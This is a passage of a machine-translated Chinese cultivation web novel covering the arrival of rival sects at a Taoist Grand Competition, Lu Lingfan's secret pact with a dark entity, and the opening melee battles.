    Zhong Li Muxue was shocked, and repeated inexplicably, "Fang Xing''an?"


    "That''s right! It is the Mingxin Palace who has been with you before walking Fang Xing''an!" Mei Qing was very excited.


    Zhong Li Muxue was a little surprised.


    Because only then did she remember that when she broke through the ninth layer of the Ecstasy Duye Real Volume, this Fang Xing''an once came to congratulate on behalf of Mingxin Palace.


    But it was just a glimpse.


    Even the only thing Zhong Li Muxue can remember now is Fang Xing''an''s robes and robes!


    But Mei Qing was obviously very excited.


    "This is a greeting posted by Xiaoyou Fang personally, which shows that your meaning in his mind is very different, and if you can have a relationship with Mingxinxiangong, then this time the Taoism is more worry-free. Yeah! After all, that is this world immortal sect!"


    Zhong Li Muxue hadn''t heard of this, and her expression was still a bit sluggish.


    But as her master, Mei Qing naturally respected her, so even though her heart was full of doubts, she bowed her head deeply and said, "Yes!"


    There is no specific time on the post, only one sentence will be there immediately.


    In order not to neglect Fang Xing''an, Mei Qing led many elders from the Ecstasy Hall to the Feizhou Pier in person.


    This is where all the flying boats coming to the giant city stop.


    And this move of the Hall of Ecstasy naturally attracted the attention of all parties.


    "What''s going on? The Ecstasy Hall didn''t sleep in the middle of the night, so why did you rush to the pier?" Someone asked in astonishment.


    "Who said no, what is this going to do?" Someone also followed in astonishment.


    "I seem to hear rumors, it seems to be to welcome some extremely important person!" Another person agreed.


    "Who can make the people of Second Cave Heaven come to greet him in the middle of the night?" Someone said in disbelief.


    In short, the entire giant city became turbulent because of this incident.


    at the same time.


    All the people up and down in the Hall of Ecstasy arrived on the dock, waiting for Fang Xing''an to arrive.


    Zhong Li Muxue always felt that countless eyes were staring at her behind her, so she asked unnaturally.


    "Master, are you sure Brother Fang will arrive at this time?"


    "Of course! Since he said so, he will definitely be there. Don''t worry, just wait!" Mei Qing is obviously confident.


    Because the disciple of Mingxin Palace has never missed an appointment.


    Especially this time, Fang Xing''an was walking under the gate of Mingxin Palace, not to mention his personal knowledge with his disciples, just to say his identity was enough to prove his strength.


    After all, as the head of the Seven Caves of Heaven, Mingxin Immortal Palace, walking under the gate is a highly respected position that disciples who are not true followers cannot obtain.


    And this time the Ecstasy Hall received Fang Xing''an''s greetings, which obviously shows that he has never forgotten his apprentice Zhong Li Muxue.


    If this relationship can be developed, it will be of great benefit to the Hall of Ecstasy.


    Not to mention anything else, this time the Orthodox Contest alone may make a difference.


    This is why Mei Qing and everyone in the Ecstasy Hall are so important after knowing this.


    At the same time, the eyes of the entire giant city were all focused on the dock following the actions of the people in the Hall of Ecstasy.


    People all want to know what kind of person will be the person who can make the people of the second cave so invigorating, and even rushing out to greet them!


    It was under the eyes of everyone, but everyone in the Hall of Ecstasy stood under the fierce cold wind at the Feizhou Pier.


    Half an hour...an hour....


    As time went on, many people who were watching in secret couldn''t help becoming a little impatient.


    But at this moment, I saw a stream of light flashing across the distant sky.


    Then I saw Guanghua reflecting the entire dark sky.


    Then I saw a wave of ripples in the space above the pier, and then a flying boat was spit out in the bright brilliance.


    Everyone watched with bated breath, but when they saw the flying boat, they couldn''t help being stunned.


    Because this flying boat is terrifying despite its brilliance.


    But on the head of the flying boat was engraved with a big emblem.


    Although many people don''t know what''s going on, many people can see the origin of this emblem at a glance.


    "It''s the emblem of Jinding Pavilion!" someone said in astonishment.


    "Tsk tusk, I didn''t expect this sect to actually dare to come! And it was still in the middle of the night!" Someone sneered.


    And all the people in Mei Qing who were full of expectation, after seeing the emblem on the flying boat, couldn''t help showing a very strange look.


    There were surprises and stunned expressions in this look, but still more disdain.


    Especially Mei Qing, who was looking forward to it, snorted coldly from his nostrils, and then ignored the flying boat.


    On the contrary, Zhong Li Muxue glanced at the flying boat with a little astonishment, as if she didn''t understand why the Golden Ding Pavilion chose to land at this time.


    Then there was a flash of brilliance on the flying boat, and a group of people walked out of it.


    People at first didn''t care.


    After all, as the last of the seven cave heavens, the Golden Ding Pavilion, even if there are unexpected changes this time, what new tricks can it have.


    But never expected.


    When everyone thought this way, Zhong Li Muxue''s eyes gradually widened.


    Because the one who walked in front of this pedestrian was surprisingly Fang Xingan, who had a close relationship with him before.


    At this moment, Fang Xing''an was chatting very vigorously with the person beside him.


    He didn''t even notice the startled eyes around him.


    It wasn''t until everyone in the Hall of Ecstasy was approached that Fang Xing''an bowed to Xue An politely.


    "It''s really an honor for me to be able to ride a flying boat with Xue Daoyou and make friends this time!"


    Xue An did not speak, but smiled faintly.


    At the same time Mei Qing, as well as everyone in the Ecstasy Hall, and even all those who were observing this scene in secret, couldn''t help being dumbfounded.


    what happened?


    Isn''t this Fang Xing''an walking in Mingxin Palace?


    Why are you so familiar with the people at Jinding Pavilion?


    This question hovered in everyone''s mind.


    At the same time, Fang Xing''an lowered his head and said in a very low voice: "Friends of Taoism, I have tried my best. Then you can find a way by yourself. I hope I can see the Zunpai in this competition. Brilliant!"


    A faint smile appeared at the corner of Xue An''s mouth, and then nodded, "Okay! In that case, it''s better to see you!"


    Fang Xing''an nodded, then turned his head to look at the small octopus among the crowd, and smiled slightly.


    "There will be a period!"


    After that, he turned around and flew straight to the queue in the Hall of Ecstasy.

 Chapter 1309： Dark insider

    "Plum Hall Master!" Fang Xing''an bowed his hand to Mei Qing.


    "Oh, Fang Xiaoyou is so polite!" Mei Qing smiled so much that his face was almost blooming. "It has been ten years since the last departure. I didn''t expect that Fang Xiaoyou''s cultivation level has improved again. It is really amazing!"


    Fang Xing''an smiled slightly, then turned to look at Zhong Li Muxue who was standing aside, and nodded, "Girl Zhong Li!"


    Zhong Li Muxue''s eyes trembled, and she softly moved towards Fang Xing''an, whispering: "Brother Fang!"


    Although there was no change in his expression, it could be seen that Zhong Li Muxue''s cheeks were stained with a blush at a speed visible to the naked eye.


    This scene was naturally seen by Mei Qing, so the smile on her face was more intense, and she hurriedly said: "Little friend Fang, this place is not a place to talk. I have ordered someone to arrange a place for you in the post. , Please move!"


    Fang Xing''an hesitated slightly, but finally nodded, "Alright!"


    Mei Qing was overjoyed, and immediately led Fang Xing''an to turn away.


    From the beginning to the end, she didn''t look at the people in the Jinding Pavilion in the distance.


    In her opinion, where there is a Jinding Pavilion in a mere Jinding Pavilion, it is important to walk around in the Mingxin Palace.


    Instead, Zhong Li Mu Xue glanced at Xue An in the distance, her eyes full of curiosity.


    She naturally saw the scene of a happy conversation between Fang Xing''an and Xue An just now, coupled with the previous rumors, she couldn''t help but feel a little curious about Xue An.


    But that''s all, her thoughts are the same as her own master.


    What about friends?


    This world, after all, depends on strength to speak!


    The people in the Hall of Ecstasy are gone.


    The crowd of onlookers also dispersed.


    And before leaving, many people all glanced at Xue An with very strange eyes.


    Xue An naturally knew all this, but he just smiled indifferently and ignored it.


    At this moment, Zhang Xiaoyu leaned forward, looked at the backs of everyone in the Ecstasy Hall with some doubts, and whispered: "My lord, what did the guy just say that I have tried my best?"


    Xue An smiled, "It''s nothing, he just wants to help us in this way, but unfortunately, the effect is not very good in this way!"


    Zhang Xiaoyu nodded without understanding, then curled his lips, "This guy looks stupid, what can he do?"


    Because of the previous crash, Zhang Xiaoyu had already had serious doubts about the other party''s Xing''an IQ, and even always felt that this guy could walk in the world because of it.


    Xue An laughed, "Okay, it''s not the same with or without effect, let''s go!"


    With that, Xue An led the crowd and left the square.


    quickly.


    The news that both Jinding Pavilion and Mingxin Palace had arrived spread at an extremely fast speed.


    People reacted differently to this, especially when many people knew that the Ecstasy Hall had actually picked up the Mingxin Palace��s current walk, they felt that this Dao Da Bi would be very lively.


    It is in this turbulent situation.


    Acacia Garden.


    The elders and Sha Miaoyi, the master of Xiangsi Garden, gathered together to discuss this matter.


    Lu Lingfan, who had just broken the spell of Acacia, was naturally among them.


    When she heard that Xue An, the enemy of Miemen, had already arrived, her eyes instantly turned blood red, and she turned to go out to find Xue An for revenge.


    Sha Miaoyi hurriedly persuaded her.


    "Lingfan, don''t be impulsive!"


    Lu Lingfan stopped, but did not look back.


    Sha Miaoyi said: "I know you hate Xue An deeply, but now the Taoist Grand Tournament is about to begin, and everything is still important. Waiting for you to win the Ecstasy Hall guys above the Grand Tournament. After raising our eyes on Xiangsiyuan, it��s not too late to find this Xue An to settle accounts!"


    Lu Lingfan slowly turned around, his face was full of cruel expressions, "I want to be above the big competition, and tear this guy to pieces in front of everyone! To eliminate my hatred!"


    Sha Miaoyi and everyone in the room were all taken aback, and then Sha Miaoyi smiled bitterly and shook his head.


    "Lingfan, I understand your feelings very well, but once the Taoist Grand Tournament is opened, everyone will enter a secret realm. The casualties in it will not affect the outside world, which means that you can kill it inside. This Xue An won��t have much impact on him! So if you want revenge, you��d better wait until it��s over!"


    Sha Miaoyi''s words are indeed true.


    Because for thousands of years, the Taoist Grand Bi is able to have such a great appeal, and so many people are eager for it.


    Not just because once you win here, you can become famous.


    More importantly, when participating in the Orthodox Grand Contest, you can use your strongest tricks without any scruples, and even after defeat and death, you can be safe and sound.


    And all of this originated from that artifact handed down from ancient times, the Taoist evolving sacred cauldron.


    This sacred tripod will change according to the different venues of each Taoist Grand Competition.


    This time, it naturally fell into the Xiangsi Garden.


    After listening to Sha Miaoyi''s words, Lu Lingfan''s eyes showed a sneer, but Xuan even lowered his head.


    Sha Miaoyi went on to say, "Hmph, the Ecstasy Hall is really thirsty, and it actually has a relationship with Mingxin Palace''s walking in the world!"


    Speaking of this, a dignified look appeared on Sha Miaoyi''s face, "Ling Fan, if Fang Xing''an and Zhong Li Muxue joined forces, your situation would be dangerous!"


    Lu Lingfan was silent for a moment, then shook his head, "They are not my opponents!"


    Words are full of strong confidence.


    Sha Miaoyi''s eyes lit up, and he laughed: "Okay, you have to have such confidence!"


    Lu Lingfan didn''t wait for her to continue speaking, and said lightly: "Master, I will go back first!"


    After all, without waiting for Sha Miaoyi''s response, he turned and left the secret room.


    Sha Miaoyi and the elders of Xiangsiyuan didn''t notice anything unusual.


    But they didn''t know that when they walked out of the door, Lu Lingfan''s mouth gradually raised, and then he showed an extremely cold smile.


    And the cold light in her eyes didn''t seem to be emitted by humans.


    This scene happened to be seen by a passing disciple of Xiangsiyuan.


    The woman froze in fright, and then looked at Lu Lingfan with horror. It was not until a while before she stammered.


    "Lu...Senior Sister Lu!"


    But Lu Lingfan didn''t even look at her and left right beside her.


    It wasn''t until Lu Lingfan''s figure completely disappeared that the disciple gradually recovered his sobriety, then shivered, and ran away from here in extreme horror.


    As the first true biography of Acacia Garden today, Lu Lingfan naturally has his own room.


    The moment she closed the door when she returned to the house.


    The whole room suddenly fell into pure darkness.


    This darkness seemed to emanated from hell. It was extremely cold and evil, making people shudder.


    Lu Lingfan didn''t notice it. Instead, he walked a few steps forward, knelt down on the open space, and began to bow down.


    After three bows, I saw that the empty darkness suddenly began to sway and twist, and then, an extremely cold and evil aura descended here.


    Then he heard a female voice that was as cold as a snake, with a bit of evil ridicule.


    "What I asked you to do, can you do it?"

 Chapter 1310： Melee on

    Lu Lingfan bowed his head deeply, "Master Hui, I have secretly modified the formation pattern of the Taoist Evolution Divine Cauldron according to your instructions!"


    "Very good! Well done!" The female voice was satisfied.


    A flame of hope ignited in Lu Lingfan''s heart, and then raised his head, looking hopefully at the unknown depths of darkness.


    "My lord, when it''s done, will you help me resurrect my family?"


    Lu Lingfan fell to the ground as soon as he heard a plop, struggling with pain.


    The female voice sneered for a while, then sneered.


    "You have to figure out that everything you have now is given to you by me. Even if you understand the curse of Acacia, it is because of my help that you succeed! So you must always remember that I gave you It''s yours, I won''t give it, you can never ask for it! Otherwise... I will make you worse than dead! Understand?"


    Black blood was dripping from the corner of his mouth, and Lu Lingfan, who was about to faint, burst out two words from his teeth.


    "understand!"


    The pain that hit the depths of his soul faded like a tide, and Lu Lingfan slumped to the ground, breathing heavily.


    At this time, the female voice said indifferently: "Do you know why I want you to modify the formation pattern on the evolving **** cauldron?"


    Lu Lingfan shook his head.


    "Because once the formation pattern is modified, the rules attached to it will be invalidated. That is to say, at the time of this competition, everyone who enters it will face a real life and death disaster! And then..."


    The female voice sneered triumphantly, "Several powers in the cave will be wiped out, and you will be the only remaining master. When the time comes, even the whole world will be yours, so why bother to a small Lu family? "


    Hearing these words, Lu Lingfan''s eyes gradually widened, looking at the darkness with extremely horrified eyes.


    Because she didn''t expect that this mysterious woman who suddenly appeared next to her and tempted herself by granting her a strong talent would be so crazy.


    Even want to slaughter all the people in the cave.


    This idea is simply terrible.


    Lu Lingfan trembled slightly, and then couldn''t help but said, "Big...sir, will it be the same for us in Xiangsi Garden then?"


    "What do you think?" the female voice said with a smile.


    Lu Lingfan trembled more severely. Suddenly, she remembered something and said loudly, "But my lord, only one person from Mingxin Palace has come. Even if everyone is killed, it is only one Mingxin Palace. It''s extremely difficult to provoke!"


    The female voice chuckled, "That''s right! The sword lunatics are really hard to deal with, but don''t worry, since I let you do it, it means that I am fully prepared!"


    "Think about it, when you take over the power of this world and become a well-deserved queen, you will understand how ridiculous the so-called family relationship is!" the female voice persuaded her to persuade her.


    There seemed to be a strong fascination in her voice. After Lu Lingfan heard the words, his eyes gradually darkened, and then he began to laugh.


    "Yes, my lord!"


    Under the surging of this dark tide, this Orthodox Grand Competition finally arrived.


    Wait till this day.


    Everyone moved after hearing the wind, and arrived early in the venue used by the competition.


    I saw that in the middle of this huge square was a high platform with a height of one hundred feet, and on the high platform, there was a giant tripod surrounded by auspicious clouds.


    The crowd was full of noise.


    "Is that the evolving tripod handed down from ancient times? It''s really magnificent!" A person who participated in the Taoist Grand Competition for the first time asked with shocked faces.


    "Yes, that''s the evolving divine cauldron with infinite magical effects from the hands of the founders of the Seven Great Caves in the rumor! Although it is not the first time I have seen it, I still can''t help but marvel at it!" Exclaimed.


    In this tumult.


    The strong from all the caves also arrived one after another.


    But seeing the clear distinction between each other, they were all nervously preparing.


    Now you can see how their respective strengths are.


    The higher the ranking of Dongtian, the more the number of people and the stronger the strength.


    For example, the disciple of the disciple of the Second Cave of Ecstasy Hall, Wuyang Wuyang almost occupied a large area.


    The lower the ranking, the fewer the number of people.


    But at the end of the crowd, it was a clearing.


    Fang Xing''an couldn''t help being surprised when he saw this scene.


    Because it is divided according to the ranking, the open space should be where the Jinding Pavilion is located.


    But now it was empty, which meant that the people from Jinding Pavilion hadn''t arrived yet.


    Fang Xing''an''s heart sank slightly.


    what happened?


    Why haven''t people from Jinding Pavilion come yet?


    With doubts in his mind, Mei Qing suddenly said mysteriously: "Little friend Fang, look over there, that is Lu Lingfan, who is in the limelight recently!"


    Fang Xing''an turned his head and looked.


    Sure enough, just a short distance away, Lu Lingfan stood among the crowd of Xiangsiyuan, silent.


    When he saw her, Fang Xing''an raised his eyebrows and let out a slight hey.


    Because he found that there seemed to be a cold and dark air in this woman.


    But Xiangsiyuan cultivates, but the orthodox Taoist exercises, how can there be black energy?


    At this time, Mei Qing said with some hope: "Little friend Fang, this woman''s strength should not be underestimated. After entering the competition, I hope you can take care of Mu Xue more!"


    Fang Xing''an let go of the doubts in his heart and smiled slightly, "Don''t worry, Master Mei, I will do my best, but my strength is low. If I have insufficient strength, I hope to forgive me!"


    Mei Qing was overjoyed, haha ??smiled and said, "Little friend Fang is so polite! With your protection, it will be foolproof!"


    Just as they were talking here, several streams of light flew in instantly, and then stayed in the area where Jinding Pavilion belonged.


    When the streamer dissipated, it was Xue An, Xing Yushu and others.


    And their appearance also caused a commotion in the audience.


    "Come here! The people from Jinding Pavilion are here!"


    "Hey, how brave is this, how dare you come!"


    In these discussions, Lu Lingfan coldly looked at Xue An in the distance, without saying a word.


    Sha Miaoyi was afraid that her apprentice could no longer hold back, and hurriedly whispered: "Lingfan, don''t be impulsive!"


    Lu Lingfan smiled, "Okay!"


    Sha Miaoyi was suddenly a little stunned, because she always felt that her lover was a little weird today, but she couldn''t tell how strange it was.


    at the same time.


    The two sect masters of the sixth and fifth Dongtian next to the Jinding Pavilion couldn''t help but glance at each other.


    Xie Tianwu of the sixth hole smiled, and passed a trace of divine thoughts to the Thunder Shuangblade of the fifth hole.


    "Palace Master Lei Remember our agreement, after entering, first deal with this nasty kid!"


    Lei Shuangbian smiled and nodded, then greedily licked his lips, thinking that Jinding Pavilion was already in his pocket.


    In this kind of intrigue, Xue An, who was gathered by countless wicked gazes, gently raised his head, looked at the gods, a strange color suddenly flashed in his eyes, and then raised the corners of his mouth coldly. Laughed.


    interesting!


    At this moment, a brilliance suddenly rose into the sky in the sacred tripod, and then stretched out to directly cover the entire square.


    Everyone just felt a flower in front of them, and then the scenery in front of them suddenly changed.


    The square before it no longer exists, and what appeared in front of him was a huge, just like an Colosseum.


    "The Orthodox Contest, officially begins!"


    With the appearance of this line of gold letters, countless light [] Hua rises into the sky, and a melee begins.

 Chapter 1311： 9-character mantra, reappear here

    Dao Da Bi is cruel.


    In order to win and rank, everyone will have no bottom line and will attack each other unscrupulously.


    Alliance, betrayal, offensive, the dark side of all kinds of human nature, are all revealed at this time.


    The Taoist Grand Competition is gentle, because everyone knows that when everything is over, the dead will be resurrected, and the victory or defeat will be judged fairly.


    It''s like a dream without consequences, venting everyone''s dissatisfaction and negative emotions.


    Because of this, in the thousands of years, although the seven big caves fought openly and secretly, and their rankings increased and decreased, no real battle broke out.


    Because all the contradictions were released in the Orthodox Grand Competition.


    This may also be the meaning of the Dao Tong Da Bi.


    The first to attack Jinding Pavilion were the sixth hole Tiantian Wumen and the fifth hole Tianhuangshatang that had previously formed an alliance in private.


    Both are stronger than Jinding Pavilion. Coupled with the cooperation of the two sides, they are naturally confident and believe that Jinding Pavilion will undoubtedly lose this time.


    At least when they first started, both sides thought so.


    But soon, they paid the price for their arrogance.


    Xue An smiled faintly at the brilliance that hit the sky, "Jade Book!"


    "Yes!" Xing Yushu stepped forward and replied respectfully.


    "Remember the Taoism practiced in the dream of the heart demon?"


    Xing Yushu focused his head.


    "Very good!" Xue An chuckled lightly, "As the head of Jinding Pavilion, since the other party has already attacked the door of the house, you have to say something, do it!"


    "Yes!" Xing Yushu replied in a deep voice, stepping forward, and directly before the people of Jinding Pavilion, facing the attacks from both Tianwumen and Huangshatang.


    "Who is this kid?" Xie Tianwu, the master of Tianwumen, was taken aback.


    Hall Master Lei Shuangbane of Huangsha Hall on the opposite side smiled grimly: "Whoever he is, he''s just a nasty kid, kill him first, and then kill the surname Xue, Jinding Pavilion is ours!"


    Xie Tianwu also showed a smirk, "Okay!"


    At the same time, the attacks of the two parties have already hit Xing Yushu''s front.


    Xing Yu''s writing was as deep as water, raised his hand without panic, formed a standard Taoist diamond seal, and then gave a soft drink.


    "Trinity Taixuan, refining the nine realms!"


    boom!


    Following the words of Xing Yushu, a bright golden light rushed out of his head. Among them, a glaring King Kong Tianzun loomed, holding a steel whip, and it was a whip at the striking brilliance of the sky.


    Bang bang bang!


    With this continuous explosion, the brilliance that struck was all exploded to shatter.


    Now the people of Tianwumen and Huangshatang are unlucky.


    Those disciples of ordinary sectarians who had an ordinary cultivation level didn''t even hum, they were shocked and flew out. Among them, those with a shallower foundation spouted out a mouthful of blood.


    Even Xie Tianwu and Lei Shuangban were shaken, their arms numb, and then they were all shaken.


    "This is not Jinding Pavilion''s Taoism!" Xie Tianwu hissed.


    "That''s right, and it''s not even the way of this world!" Lei Shuangbian''s eyes were red, and his whole body trembled slightly.


    A Taoist law that has never appeared from the hands of the people of Jinding Pavilion, what it means, they naturally know better than anyone else.


    So they were half frightened and half excited.


    The panic was because of the power of this method, even with just one move, it broke his own combined blow.


    The excitement is because if you can get this secret method, it will be of great benefit to your own practice.


    At this point, Xie Tianwu and Lei Shuangbane looked at each other from the air, and then used their strongest tricks together.


    "Tianwu Killing the World Slash!"


    "Five aggregates of yellow sand, bodhi curse to kill!"


    Tianwu is brilliant and majestic, like a **** of war, raging and arrogant.


    The yellow sand is strange and mysterious, like a wild ancient mystery god.


    The two attacks merged into one, with a powerful force and a direct blast.


    This kind of power has calmed even the boiling battle. Many people watched this scene with solemn expressions and shook their heads secretly.


    Think that this time Jinding Pavilion will be the first to be eliminated.


    Xing Yu wrote about this power, and a wave of wavering flashed in his eyes.


    After all, the hands-on Xie Tianwu and Lei Shuangbane are both the heads of the school that have been known for a long time.


    Although Xing Yushu has gone through the trials of the heart demon, after all, there are many deficiencies in experience.


    As for Sheng Miaotong and others who followed into the arena, they were already pale and could not speak.


    At this time, Xue An chuckled lightly and said lightly: "Do you still remember the nine-character mantra used by your grandfather?"


    Xing Yushu''s body was shocked when he heard the words, and then his expression quickly calmed down, and a solemn look appeared in his eyes.


    The nine-character mantra can be regarded as the essence of Jinding Pavilion Taoism.


    When Xing Yuhe displayed these nine-character mantras with his aging body and declining cultivation base, he still made the gods cry.


    Therefore, when Xue An mentioned it, Xing Yushu quickly entered a state of emptiness, and seemed to have returned to the time when he was a child. A serious Xing Yuhe appeared in front of him, teaching himself sternly.


    In this atmosphere, Xing Yushu''s eyebrows are drooping, his hands are tied with ancient seals, and he utters a word.


    "Pro!"


    Click!


    The attack that is blasting in a powerful posture is stagnant.


    The pupils of Xie Tianwu and Lei Shuangbane suddenly shrank, but they hadn''t waited for them to move.


    Xing Yu''s book prints the wheel seal of the King Kong, and then utters the second character.


    "Bing!"


    In an instant, countless pieces of golden light appeared around Xing Yu''s body, and his sword pointed to the sky full of brilliance.


    Xie Tianwu and Lei Shuangbane were horrified.


    Xing Yushu''s hand was like a lotus flower in full bloom, instantly forming an inner lion seal, an outer lion seal, an outer binding seal, a wisdom fist seal, and a sun wheel seal, and he shouted one after another.


    "Fight, UU readers , all, array, row, here!"


    With each word, the golden light around Xing Yu''s book body becomes stronger, and the momentum becomes more and more boiling.


    However, the attacks of Xie Tianwu and Lei Shuangbane seemed to have entered the glue, and they could only march forward with difficulty.


    "It''s the nine-character mantra! Stop him!" Lei Shuangyan roared, and then tried his best to burn the cultivation base, trying to stop Xing Yushu''s curse.


    Xie Tianwu was also shocked, and then he also urged his cultivation to try to stop him.


    But at this moment, but seeing Xing Yushu��s fingers dragged out the Dao Dao Phantom in the air, it finally became the last seal of the nine characters, the invisible seal!


    At the moment it was printed, the golden light around Xing Yu''s body was instantly radiant to a nearly transparent state, and then converged together, turning into a golden light seal.


    Facing such a move, Xie Tianwu and Lei Shuangbian let out a desperate scream.


    "No! This is impossible. How can he use such a nine-character mantra at a young age?" Xie Tianwu shouted, his voice full of disbelief.

 Chapter 1312： 1 Sword Power

    But whether he believes it or not, everything is not shifted by his will.


    Xing Yushu slowly raised his eyes, and slowly uttered the last word.


    "before!"


    Once the word was written, the last shortcoming was made up.


    In an instant, the world became extremely quiet.


    Everything around it seemed to pause under this golden light, and Xie Tianwu''s attack with Lei Shuangblade melted away like ice and snow under the scorching sun.


    Then the golden talisman seal that penetrated the sky and the earth suddenly radiated light that people dare not look directly at.


    What Guanghua is referring to, a hundred evils are easy to avoid!


    And the target is directed at Xie Tianwu and Lei Shuangblade.


    The two men were stunned by the mighty power of this golden talisman, and when they saw Guanghua coming, they couldn''t help screaming together.


    But now they can''t avoid it, they can only bite the bullet and urge their whole body to try to resist this blow.


    unfortunately.


    Everything is in vain.


    Where Guanghua passed, Tiantianwumen in the sixth hole and Tianhuangshatang in the fifth hole, the disciples of the two schools were too late to scream, they turned into flying ash and disappeared.


    The two were so frightened, but before they had time to react, they saw the brilliance flooding like a tide.


    The defensive brilliance around the two of them was in the golden light tide, and it only lasted a few breaths before it shattered like a bubble.


    "what!"


    With this rapid scream, everything returned to silence!


    And those who disappeared together were Xie Tianwu and Lei Shuangbeng.


    []one strike!


    Tianwumen, Huangshatang, die out!


    Everyone stopped the movement in their hands and stared at it all in amazement.


    No one thought that the Golden Ding Pavilion, which had been the worst performer in the previous competitions, would actually show its power this time, and even the sixth and fifth caves had been wiped out as soon as the game opened.


    This is simply incredible.


    At this time, the golden light gradually dissipated, revealing Xing Yushu standing in it.


    At this moment, although his face was a little pale, he stood upright like a sword.


    But his hand was shaking slightly, not because of fatigue, but because of excitement.


    Just after the last blow was blasted out, surrounded by golden light, Xing Yushu seemed to see his grandfather''s pleased smile, and nodded towards himself, then turned and left.


    Xing Yushu wanted to shout, but couldn''t make a sound. He could only stare blankly at his grandfather''s back and watch him drift away.


    Xing Yushu suddenly understood in his heart.


    This... should be the last time I saw Grandpa!


    Xing Yushu, who thought he would cry, miraculously stopped his tears.


    Because at this moment, he is no longer the little boy in Feng Devil Town, but the leader of the party guarding the party.


    Therefore, he stood proudly and looked around the audience.


    Whenever they looked at, many people turned their heads unnaturally, avoiding their gazes.


    And there are countless people who are shocked by the explosion of the opening king of Jinding Pavilion.


    Standing in the distance, Fang Xing''an couldn''t help being taken aback after seeing this scene, but immediately, a faint smile appeared on the corner of his mouth, and then nodded and sighed lightly.


    "It really deserves to be the orthodox tradition passed down by the old, the power of these nine-character mantras is really strong!"


    The words are full of appreciation.


    Zhong Li Muxue, who was standing aside, was also a little stunned, but immediately, her attention was attracted by Lu Lingfan who was standing far away.


    It may be due to the cultivation techniques of the two of them. From the moment they entered the arena, Zhong Li Muxue knew that the woman in black, even her eyes covered by bangs, was her destined enemy.


    And whenever he looked at her, Zhong Li Muxue''s heart would hold together.


    Because she could vaguely feel that behind this woman, there seemed to be endless darkness.


    This feeling made her hair stand up.


    As if he felt Zhong Li Muxue''s prying eyes, Lu Lingfan, who had been standing silently, suddenly turned his head to look at her, and then gradually raised the corner of his mouth, revealing a smile.


    Seeing this smile, Zhong Li Muxue''s body was shocked, and a look of shock appeared in her eyes.


    Because she had never seen such a terrifying smile.


    Before he laughed, although Lu Lingfan was gloomy, he could still feel the vitality of her body.


    But when she laughed, even this breath no longer existed.


    But seeing her originally beautiful cheeks gradually become stubborn, although she is smiling, she gives people an extremely tyrannical feeling.


    Zhong Li Muxue even felt that it was not a living person who was smiling at herself at this moment, but a demon crawling out of hell.


    Under this situation, Zhong Li Muxue trembled, and the color of panic in her eyes became more intense.


    Fang Xing''an noticed the strangeness and couldn''t help turning his head to look around.


    At this time, the melee has restarted, and everyone is fighting for victory and ranking.


    Against the backdrop of the sky full of brilliance, even the splattered blood was covered with a dreamlike beauty.


    In this bizarre situation, Lu Lingfan stood floating, the darkness around him was already thick and hard to dissolve.


    Seeing this, Fang Xing''an''s pupils instantly shrank to the size of a pinpoint, and a strong heart palpitations reminded him that there is an extremely powerful enemy hidden in this woman''s body.


    As a successor of the orthodox Taoism and a disciple who entered the Tao with a sword, Fang Xing''an is extremely sensitive to evil spirits.


    Therefore, at the moment when he sensed the danger, Fang Xing''an drew his sword without hesitation and cut it out.


    This is a pure purple sword light, shining with lightning in the nobleness, and it cut through the space gap with lightning speed, appeared directly in front of Lu Lingfan, and then cut straight down.


    Between the flickering purple light, it seemed that everything that dared to block it was cut in half.


    This is Jianyi!


    Not to mention anything else, Fang Xing''an''s walk in the world is well-deserved just by relying on such biting sword intent.


    The whole audience was stunned by the power of this sword, and all turned to look around.


    A touch of joy flashed across Mei Qing''s face.


    As the owner of the Second Dongtian Ecstasy Museum, what she cares most is the ranking of her school.


    And if the biggest reliance of the dead opponent Acacia Garden can be eliminated, then the big ratio will be stable this time.


    But before the smile on her face was completely released, an unexpected picture appeared in front of everyone.


    At the moment when the sword light fell, a pale and bloodless, not even human-like palm suddenly appeared, and then grasped the sword light.


    The purple light flickers, the electric light is throbbing!


    It seems to be struggling, but all this is in vain.


    Seeing Lu Lingfan Jiejie laughed strangely, "The sword intent is good, but it''s a pity that the cultivation base is still short of fire!"


    He said, but saw her suddenly shook it.


    Bang!


    The sword light was directly crushed and dissipated.


    Everyone watching this scene jumped.

 Chapter 1313： Ghost Appears

    Since ancient times, I have never heard of anyone who can hold a sword light!


    Fang Xing''an snorted, apparently injured, but he didn''t have time to take care of it. He raised his sword eyebrows and said in a deep voice, "Who are you?"


    Lu Lingfan giggled, "Me? I am naturally the first true biography of Acacia Garden, Lu Lingfan!"


    "No, you definitely wouldn''t be her!" Fang Xing''an said coldly, then raised the sword in his hand, the tip of the sword trembling, and pointed directly at Lu Lingfan.


    "There is a ghostly spirit in you!"


    The audience was shocked by a word.


    "What? Demon? How is this possible?" someone exclaimed.


    "Yes, what kind of ghost can escape the detection of the Orthodox Evolution God Cauldron?"


    "But this Lu Lingfan is indeed a little weird!"


    Amidst the discussion in the audience, Lu Lingfan grinned with a heart-pounding arc, and then laughed happily.


    "Sure enough, it''s the walking of Mingxin Palace. I saw it so quickly! But I didn''t lie, I am indeed Lu Lingfan! It''s just that I am much stronger than before!"


    With that said, Lu Lingfan stretched out his clove-like tongue, licked his chapped lips, and said to Zhong Li Muxue who was on the side: "You are the true biography of the Ecstasy Hall, are you the fateful enemy of this body?"


    Zhong Li Muxue shook her whole body. Despite the horror in her heart, the arrogance of being a strong person instantly calmed her expression, and then said coldly: "Yes! I am Zhong Li Muxue!"


    "Very good! Then this feast, let''s start with you! I already... can''t wait!"


    After that, Lu Lingfan laughed arrogantly, and then raised his hand, a brilliance with black light lurking directly on Zhong Li Muxue.


    Wherever he went, there were bursts of weeping complaints, as if a person was weeping because of lovesickness.


    "Acacia curse!" someone exclaimed.


    Zhong Li Muxue took a deep breath, she naturally could see Lu Lingfan''s weirdness, but now is not the time to entangle these, even for the reputation of the Hall of Ecstasy, she can''t retreat!


    Therefore, her eyebrows suddenly flashed with silver lines, which quickly spread to the entire forehead, connecting with her eyes, forming a very strange flower tin.


    "Since I have lovesickness, I can only cross the karma!" Zhong Li Muxue snorted softly, and a silver light directly greeted the buzzing Acacia curse!


    "It''s the **** pattern of Duye! The two schools of Xiangsiyuan and Ecstasy are indeed old enemies who have fought for thousands of years!" Someone sighed.


    But before everyone could react, Fang Xing''an, who was standing aside, suddenly seemed to understand something, and suddenly swung a sword.


    "Be careful!"


    As soon as the voice fell, but seeing the Acacia curse that was still crying like a complaint suddenly changed, it turned into a hideous evil spirit, and he wanted to swallow the sacred pattern of crossing the industry.


